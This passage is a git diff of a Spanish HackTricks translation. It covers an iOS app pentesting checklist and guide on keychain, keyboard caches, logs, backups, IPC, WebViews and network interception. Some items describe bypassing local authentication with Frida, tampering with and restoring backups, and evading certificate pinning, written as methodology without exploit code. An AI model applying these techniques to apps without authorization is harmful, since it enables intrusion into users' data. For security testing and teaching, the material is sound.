* [ ] En resumen, solo **verificar si la aplicación guarda información sensible en el sistema de archivos** * [ ] En resumen, solo **verifica si la aplicación guarda información sensible en el sistema de archivos**
### Teclados ### Teclados
* [ ] ¿La aplicación [**permite usar teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)? * [ ] ¿La aplicación [**permite el uso de teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Verificar si se guarda información sensible en los [**archivos de caché de los teclados**](ios-pentesting/#custom-keyboards-keyboard-cache) * [ ] Verifica si se guarda información sensible en los [**archivos de caché de los teclados**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **Registros** ### **Registros**
* [ ] Verificar si se está registrando [**información sensible en los registros**](ios-pentesting/#logs) * [ ] Verifica si se está registrando [**información sensible**](ios-pentesting/#logs)
### Copias de seguridad ### Copias de seguridad
* [ ] Las [**copias de seguridad**](ios-pentesting/#backups) se pueden utilizar para **acceder a la información sensible** guardada en el sistema de archivos (verificar el punto inicial de esta lista de verificación) * [ ] Las [**copias de seguridad**](ios-pentesting/#backups) se pueden utilizar para acceder a la información sensible almacenada en el sistema de archivos (verifica el punto inicial de esta lista de verificación)
* [ ] Además, las [**copias de seguridad**](ios-pentesting/#backups) se pueden utilizar para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono y, como se carga la **configuración modificada**, se puede **burlar** alguna (seguridad) **funcionalidad** * [ ] Además, las [**copias de seguridad**](ios-pentesting/#backups) se pueden utilizar para modificar algunas configuraciones de la aplicación, luego **restaurar** la copia de seguridad en el teléfono y, al cargarse la **configuración modificada**, se puede **burlar** alguna (seguridad) **funcionalidad**
### **Memoria de las aplicaciones** ### **Memoria de las aplicaciones**
* [ ] Verificar si hay información sensible dentro de la [**memoria de la aplicación**](ios-pentesting/#testing-memory-for-sensitive-data) * [ ] Verifica si hay información sensible dentro de la [**memoria de la aplicación**](ios-pentesting/#testing-memory-for-sensitive-data)
### **Criptografía defectuosa** ### **Criptografía defectuosa**
* [ ] Verificar si se pueden encontrar [**contraseñas utilizadas para la criptografía**](ios-pentesting/#broken-cryptography) * [ ] Verifica si puedes encontrar [**contraseñas utilizadas para la criptografía**](ios-pentesting/#broken-cryptography)
* [ ] Verificar el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/#broken-cryptography) para enviar/guardar datos sensibles * [ ] Verifica el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/#broken-cryptography) para enviar/almacenar datos sensibles
* [ ] [**Interceptar y monitorear funciones de criptografía**](ios-pentesting/#broken-cryptography) * [ ] [**Engancha y monitoriza las funciones de criptografía**](ios-pentesting/#broken-cryptography)
### **Autenticación local** ### **Autenticación local**
* [ ] Si se utiliza una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, debes verificar cómo funciona la autenticación. * [ ] Si se utiliza una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, debes verificar cómo funciona la autenticación.
* [ ] Si utiliza el [**Marco de autenticación local**](ios-pentesting/#local-authentication-framework), podría ser fácilmente eludido. * [ ] Si utiliza el [**Marco de autenticación local**](ios-pentesting/#local-authentication-framework), podría ser fácilmente eludido.
* [ ] Si utiliza una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain), puedes crear un script personalizado de frida * [ ] Si utiliza una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain), podrías crear un script personalizado de frida.
### Exposición de Funcionalidad Sensible a través de IPC
### Exposición de funcionalidad sensible a través de IPC * [**Manejadores de URI personalizados / Enlaces profundos / Esquemas personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [**Controladores de URI personalizados / Deep links / Esquemas personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Verificar si la aplicación está **registrando algún protocolo/esquema** * [ ] Verificar si la aplicación está **registrando algún protocolo/esquema**
* [ ] Verificar si la aplicación está **registrando el uso** de algún protocolo/esquema * [ ] Verificar si la aplicación está **registrándose para usar** algún protocolo/esquema
* [ ] Verificar si la aplicación **espera recibir algún tipo de información sensible** del esquema personalizado que puede ser **interceptada** por otra aplicación que registre el mismo esquema * [ ] Verificar si la aplicación **espera recibir algún tipo de información sensible** del esquema personalizado que puede ser **interceptada** por otra aplicación que registre el mismo esquema
* [ ] Verificar si la aplicación **no está verificando y saneando** la entrada de los usuarios a través del esquema personalizado y se puede explotar alguna **vulnerabilidad** * [ ] Verificar si la aplicación **no está verificando y saneando** la entrada de los usuarios a través del esquema personalizado y se puede aprovechar alguna **vulnerabilidad**
* [ ] Verificar si la aplicación **expone alguna acción sensible** que pueda ser llamada desde cualquier lugar a través del esquema personalizado * [ ] Verificar si la aplicación **expone alguna acción sensible** que pueda ser llamada desde cualquier lugar a través del esquema personalizado
* [**Enlaces universales**](ios-pentesting/#universal-links) * [**Enlaces universales**](ios-pentesting/#universal-links)
* [ ] Verificar si la aplicación está **registrando algún protocolo/esquema universal** * [ ] Verificar si la aplicación está **registrando algún protocolo/esquema universal**
* [ ] Verificar el archivo `apple-app-site-association` * [ ] Verificar el archivo `apple-app-site-association`
* [ ] Verificar si la aplicación **no está verificando y saneando** la entrada de los usuarios a través del esquema personalizado y se puede explotar alguna **vulnerabilidad** * [ ] Verificar si la aplicación **no está verificando y saneando** la entrada de los usuarios a través del esquema personalizado y se puede aprovechar alguna **vulnerabilidad**
* [ ] Verificar si la aplicación **expone alguna acción sensible** que pueda ser llamada desde cualquier lugar a través del esquema personalizado * [ ] Verificar si la aplicación **expone alguna acción sensible** que pueda ser llamada desde cualquier lugar a través del esquema personalizado
* [**Compartir UIActivity**](ios-pentesting/ios-uiactivity-sharing.md) * [**Compartir UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Verificar si la aplicación puede recibir UIActivities y si es posible explotar alguna vulnerabilidad con una actividad especialmente diseñada * [ ] Verificar si la aplicación puede recibir UIActivities y si es posible aprovechar alguna vulnerabilidad con una actividad especialmente diseñada
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Verificar si la aplicación **copia algo en el portapapeles general** * [ ] Verificar si la aplicación **copia algo en el portapapeles general**
* [ ] Verificar si la aplicación está utilizando los datos del portapapeles general para algo. * [ ] Verificar si la aplicación **utiliza los datos del portapapeles general para algo**
* [ ] Monitorear el portapapeles para ver si se copian datos sensibles. * [ ] Monitorear el portapapeles para ver si se copian datos sensibles
* [**Extensiones de aplicaciones**](ios-pentesting/ios-app-extensions.md) * [**Extensiones de la aplicación**](ios-pentesting/ios-app-extensions.md)
* [ ] ¿La aplicación está utilizando alguna extensión? * [ ] ¿La aplicación **utiliza alguna extensión**?
* [**WebViews**](ios-pentesting/ios-webviews.md) * [**WebViews**](ios-pentesting/ios-webviews.md)
* [ ] Verificar qué tipo de webviews se están utilizando. * [ ] Verificar qué tipo de webviews se están utilizando
* [ ] Verificar el estado de `javaScriptEnabled`, `JavaScriptCanOpenWindowsAutomatically`, `hasOnlySecureContent`. * [ ] Verificar el estado de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Verificar si el webview puede acceder a archivos locales con el protocolo `file://` (`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`). * [ ] Verificar si el webview puede **acceder a archivos locales** con el protocolo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Verificar si JavaScript puede acceder a métodos nativos (`JSContext`, `postMessage`). * [ ] Verificar si Javascript puede acceder a **métodos nativos** (`JSContext`, `postMessage`)
### Comunicación en red ### Comunicación de Red
* [ ] Realizar un [**MitM a la comunicación**](ios-pentesting/#network-communication) y buscar vulnerabilidades web. * [ ] Realizar un [**MitM a la comunicación**](ios-pentesting/#network-communication) y buscar vulnerabilidades web.
* [ ] Verificar si se verifica el [**nombre de host del certificado**](ios-pentesting/#hostname-check). * [ ] Verificar si se verifica el [**nombre de host del certificado**](ios-pentesting/#hostname-check)
* [ ] Verificar/Evadir [**Certificate Pinning**](ios-pentesting/#certificate-pinning). * [ ] Verificar/Evadir [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
### **Misceláneo** ### **Misceláneo**
* [ ] Verificar los mecanismos de [**parcheo/actualización automática**](ios-pentesting/#hot-patching-enforced-updateing). * [ ] Verificar la existencia de mecanismos de [**parcheo/actualización automática**](ios-pentesting/#hot-patching-enforced-updateing)
* [ ] Verificar bibliotecas de terceros [**maliciosas**](ios-pentesting/#third-parties). * [ ] Verificar la existencia de [**bibliotecas de terceros maliciosas**](ios-pentesting/#third-parties)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family). * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com). * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -123,7 +122,7 @@ Obtenga acceso hoy mismo:
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -3,7 +3,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\ Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtenga acceso hoy: Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -14,8 +14,8 @@ Obtenga acceso hoy:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -173,13 +173,13 @@ Los archivos `.ipa` son **paquetes comprimidos**, por lo que puedes cambiar la e
Después de descomprimirlos, deberías ver `<NOMBRE>.app`, un archivo comprimido que contiene el resto de los recursos. Después de descomprimirlos, deberías ver `<NOMBRE>.app`, un archivo comprimido que contiene el resto de los recursos.
* `Info.plist`: Un archivo que contiene algunas de las configuraciones específicas de la aplicación. * `Info.plist`: Un archivo que contiene algunas de las configuraciones específicas de la aplicación.
* `_CodeSignature/` contiene un archivo plist con una firma sobre todos los archivos en el bundle. * `_CodeSignature/` contiene un archivo plist con una firma sobre todos los archivos del bundle.
* `Assets.car`: Otro archivo comprimido que contiene recursos (iconos). * `Assets.car`: Otro archivo comprimido que contiene recursos (iconos).
* `Frameworks/` contiene las bibliotecas nativas de la aplicación como archivos .dylib o .framework. * `Frameworks/` contiene las bibliotecas nativas de la aplicación como archivos .dylib o .framework.
* `PlugIns/` puede contener extensiones de la aplicación como archivos .appex (no presentes en el ejemplo). * `PlugIns/` puede contener extensiones de la aplicación como archivos .appex (no presentes en el ejemplo).
* [`Core Data`](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para su uso sin conexión, para almacenar datos temporales en caché y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en varios dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit. * [`Core Data`](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para su uso sin conexión, para almacenar datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en varios dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit.
* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o bundle. * [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o bundle.
* **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos y un recurso predeterminado en caso de que no se admita un idioma. * **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos, y un recurso predeterminado en caso de que no se admita un idioma.
Hay varias formas de definir la interfaz de usuario en una aplicación iOS: archivos _storyboard_, _nib_ o _xib_. Hay varias formas de definir la interfaz de usuario en una aplicación iOS: archivos _storyboard_, _nib_ o _xib_.
@ -230,7 +230,7 @@ Como puedes ver, las aplicaciones tienen dos ubicaciones principales:
* El **directorio Bundle** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`). * El **directorio Bundle** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`).
* El **directorio de Datos** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`). * El **directorio de Datos** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`).
Estas carpetas contienen información que debe ser examinada detenidamente durante las evaluaciones de seguridad de la aplicación (por ejemplo, al analizar los datos almacenados en busca de datos sensibles). Estas carpetas contienen información que debe ser examinada detenidamente durante las evaluaciones de seguridad de la aplicación (por ejemplo, al analizar los datos almacenados en busca de información sensible).
**Directorio Bundle:** **Directorio Bundle:**
@ -248,7 +248,7 @@ Estas carpetas contienen información que debe ser examinada detenidamente duran
* El contenido de este directorio **se respalda**. * El contenido de este directorio **se respalda**.
* La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`. * La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`.
* **Library/** * **Library/**
* Contiene todos los **archivos que no son específicos del usuario**, como **cachés**, **preferencias**, **cookies** y archivos de configuración de listas de propiedades (plist). * Contiene todos los **archivos que no son específicos del usuario**, como **cachés**, **preferencias**, **cookies** y archivos de configuración de lista de propiedades (plist).
* Las aplicaciones de iOS suelen utilizar los subdirectorios `Application Support` y `Caches`, pero la aplicación puede crear subdirectorios personalizados. * Las aplicaciones de iOS suelen utilizar los subdirectorios `Application Support` y `Caches`, pero la aplicación puede crear subdirectorios personalizados.
* **Library/Caches/** * **Library/Caches/**
* Contiene archivos en caché **semipersistentes**. * Contiene archivos en caché **semipersistentes**.
@ -256,7 +256,7 @@ Estas carpetas contienen información que debe ser examinada detenidamente duran
* El contenido de este directorio **no se respalda**. * El contenido de este directorio **no se respalda**.
* El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es escaso. * El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es escaso.
* **Library/Application Support/** * **Library/Application Support/**
* Contiene archivos **persistentes** necesarios para ejecutar la aplicación. * Contiene **archivos persistentes** necesarios para ejecutar la aplicación.
* **Invisible** para los usuarios y los usuarios no pueden escribir en él. * **Invisible** para los usuarios y los usuarios no pueden escribir en él.
* El contenido de este directorio **se respalda**. * El contenido de este directorio **se respalda**.
* La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`. * La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`.
@ -368,7 +368,7 @@ Sin embargo, las mejores opciones para desensamblar el binario son: [**Hopper**]
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -576,11 +576,23 @@ Objective-C:
Objective-C es un lenguaje de programación utilizado para desarrollar aplicaciones en iOS. Es un lenguaje orientado a objetos que se basa en el lenguaje C. Objective-C es ampliamente utilizado para desarrollar aplicaciones nativas de iOS y ofrece una amplia gama de funcionalidades y bibliotecas para facilitar el desarrollo de aplicaciones. Objective-C es un lenguaje de programación utilizado para desarrollar aplicaciones en iOS. Es un lenguaje orientado a objetos que se basa en el lenguaje C. Objective-C es ampliamente utilizado para desarrollar aplicaciones nativas de iOS y ofrece una amplia gama de funcionalidades y bibliotecas para facilitar el desarrollo de aplicaciones.
En el contexto de la piratería ética, el conocimiento de Objective-C es útil para realizar pruebas de penetración en aplicaciones iOS. Al comprender cómo se escriben y estructuran las aplicaciones en Objective-C, los piratas informáticos pueden identificar posibles vulnerabilidades y explotarlas para obtener acceso no autorizado a la aplicación o a los datos del usuario. En el contexto de la piratería ética, el conocimiento de Objective-C es útil para realizar pruebas de penetración en aplicaciones iOS. Al comprender cómo funciona Objective-C, los piratas informáticos éticos pueden identificar posibles vulnerabilidades y explotarlas de manera efectiva.
Algunas técnicas comunes de piratería en aplicaciones iOS que involucran Objective-C incluyen la inyección de código, la manipulación de datos en tiempo de ejecución y la explotación de vulnerabilidades conocidas en bibliotecas y marcos de Objective-C. Algunos conceptos clave en Objective-C incluyen:
Es importante tener en cuenta que la piratería ética debe realizarse con el consentimiento del propietario de la aplicación y siguiendo las leyes y regulaciones aplicables. El objetivo principal de la piratería ética es identificar y remediar las vulnerabilidades de seguridad en lugar de causar daño o robar información confidencial. - Clases: las clases son la base de la programación orientada a objetos en Objective-C. Una clase define un conjunto de propiedades y métodos que describen un objeto en particular.
- Herencia: Objective-C admite la herencia, lo que significa que una clase puede heredar propiedades y métodos de otra clase. Esto permite la reutilización de código y la creación de jerarquías de clases.
- Mensajes: en Objective-C, los objetos se comunican entre sí enviándose mensajes. Un mensaje es una solicitud para que un objeto realice una acción o devuelva un valor.
- Propiedades: las propiedades son variables asociadas a una clase. Pueden ser de diferentes tipos, como enteros, cadenas o incluso objetos.
- Métodos: los métodos son funciones asociadas a una clase. Pueden realizar acciones o devolver valores.
- Protocolos: los protocolos definen un conjunto de métodos que una clase puede implementar. Permiten la comunicación entre objetos de diferentes clases.
En resumen, Objective-C es un lenguaje de programación utilizado para desarrollar aplicaciones iOS y es importante para los piratas informáticos éticos que deseen realizar pruebas de penetración en aplicaciones iOS. Al comprender los conceptos clave de Objective-C, los piratas informáticos éticos pueden identificar y explotar vulnerabilidades en estas aplicaciones.
``` ```
@property (UIImageView *)backgroundImage; @property (UIImageView *)backgroundImage;
@ -604,7 +616,7 @@ También puedes usar `ios keychain dump` de [**Objection**](https://github.com/s
**NSURLCredential** **NSURLCredential**
**NSURLCredential** es la clase perfecta para **almacenar el nombre de usuario y la contraseña en el keychain**. No es necesario preocuparse por NSUserDefaults ni por ningún envoltorio de keychain.\ **NSURLCredential** es la clase perfecta para **almacenar nombre de usuario y contraseña en el keychain**. No es necesario preocuparse por NSUserDefaults ni por ningún envoltorio de keychain.\
Una vez que el usuario ha iniciado sesión, puedes almacenar su nombre de usuario y contraseña en el keychain: Una vez que el usuario ha iniciado sesión, puedes almacenar su nombre de usuario y contraseña en el keychain:
```swift ```swift
NSURLCredential *credential; NSURLCredential *credential;
@ -629,7 +641,7 @@ Se recomienda no permitir teclados de terceros si consideras que los usuarios no
Ten en cuenta que debido a la autocorrección y las sugerencias automáticas, el teclado predeterminado de iOS capturará y almacenará cada palabra no estándar en un archivo de caché si el atributo **secureTextEntry** no está establecido en **true** o si **autoCorrectionType** no está establecido en **UITextAutoCorrectionTypeNo**. Ten en cuenta que debido a la autocorrección y las sugerencias automáticas, el teclado predeterminado de iOS capturará y almacenará cada palabra no estándar en un archivo de caché si el atributo **secureTextEntry** no está establecido en **true** o si **autoCorrectionType** no está establecido en **UITextAutoCorrectionTypeNo**.
Por defecto, los teclados **almacenan esta caché** dentro del sandbox de las aplicaciones en el archivo `Library/Keyboard/{locale}-dynamic-text.dat` o en `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Sin embargo, es posible que esté guardando los datos en otro lugar.\ Por defecto, los teclados **almacenan esta caché** dentro del sandbox de las aplicaciones en el archivo `Library/Keyboard/{locale}-dynamic-text.dat` o en `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Sin embargo, podría estar guardando los datos en otro lugar.\
Es posible restablecer la caché en _**Ajustes**_ > _**General**_ > _**Restablecer**_ > _**Restablecer diccionario del teclado**_ Es posible restablecer la caché en _**Ajustes**_ > _**General**_ > _**Restablecer**_ > _**Restablecer diccionario del teclado**_
{% hint style="info" %} {% hint style="info" %}
@ -644,7 +656,7 @@ El protocolo [UITextInputTraits](https://developer.apple.com/reference/uikit/uit
**Para identificar este comportamiento en el código:** **Para identificar este comportamiento en el código:**
* Busca en el código fuente implementaciones similares, como * Busca implementaciones similares en el código fuente, como
```objectivec ```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES; textObject.secureTextEntry = YES;
@ -714,7 +726,7 @@ Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -723,7 +735,7 @@ Obtén acceso hoy mismo:
iOS incluye funciones de copia de seguridad automática que crean copias de los datos almacenados en el dispositivo. Puedes hacer **copias de seguridad de iOS** desde tu computadora host utilizando iTunes (hasta macOS Catalina) o Finder (desde macOS Catalina en adelante), o a través de la función de copia de seguridad de iCloud. En ambos casos, la copia de seguridad incluye casi todos los datos almacenados en el dispositivo iOS, excepto datos altamente sensibles como la información de Apple Pay y la configuración de Touch ID. iOS incluye funciones de copia de seguridad automática que crean copias de los datos almacenados en el dispositivo. Puedes hacer **copias de seguridad de iOS** desde tu computadora host utilizando iTunes (hasta macOS Catalina) o Finder (desde macOS Catalina en adelante), o a través de la función de copia de seguridad de iCloud. En ambos casos, la copia de seguridad incluye casi todos los datos almacenados en el dispositivo iOS, excepto datos altamente sensibles como la información de Apple Pay y la configuración de Touch ID.
Dado que iOS realiza copias de seguridad de las aplicaciones instaladas y sus datos, una preocupación obvia es si los datos sensibles del usuario almacenados por la aplicación podrían **filtrarse accidentalmente a través de la copia de seguridad**. Otra preocupación, aunque menos obvia, es si se podrían manipular las **configuraciones de protección de datos o restricción de funcionalidad de la aplicación para cambiar el comportamiento de la aplicación después de restaurar una copia de seguridad modificada**. Ambas preocupaciones son válidas y estas vulnerabilidades han demostrado existir en una gran cantidad de aplicaciones en la actualidad. Dado que iOS realiza copias de seguridad de las aplicaciones instaladas y sus datos, una preocupación obvia es si los datos sensibles del usuario almacenados por la aplicación podrían **filtrarse accidentalmente a través de la copia de seguridad**. Otra preocupación, aunque menos obvia, es si la configuración sensible utilizada para proteger los datos o restringir la funcionalidad de la aplicación podría ser manipulada para cambiar el comportamiento de la aplicación después de restaurar una copia de seguridad modificada. Ambas 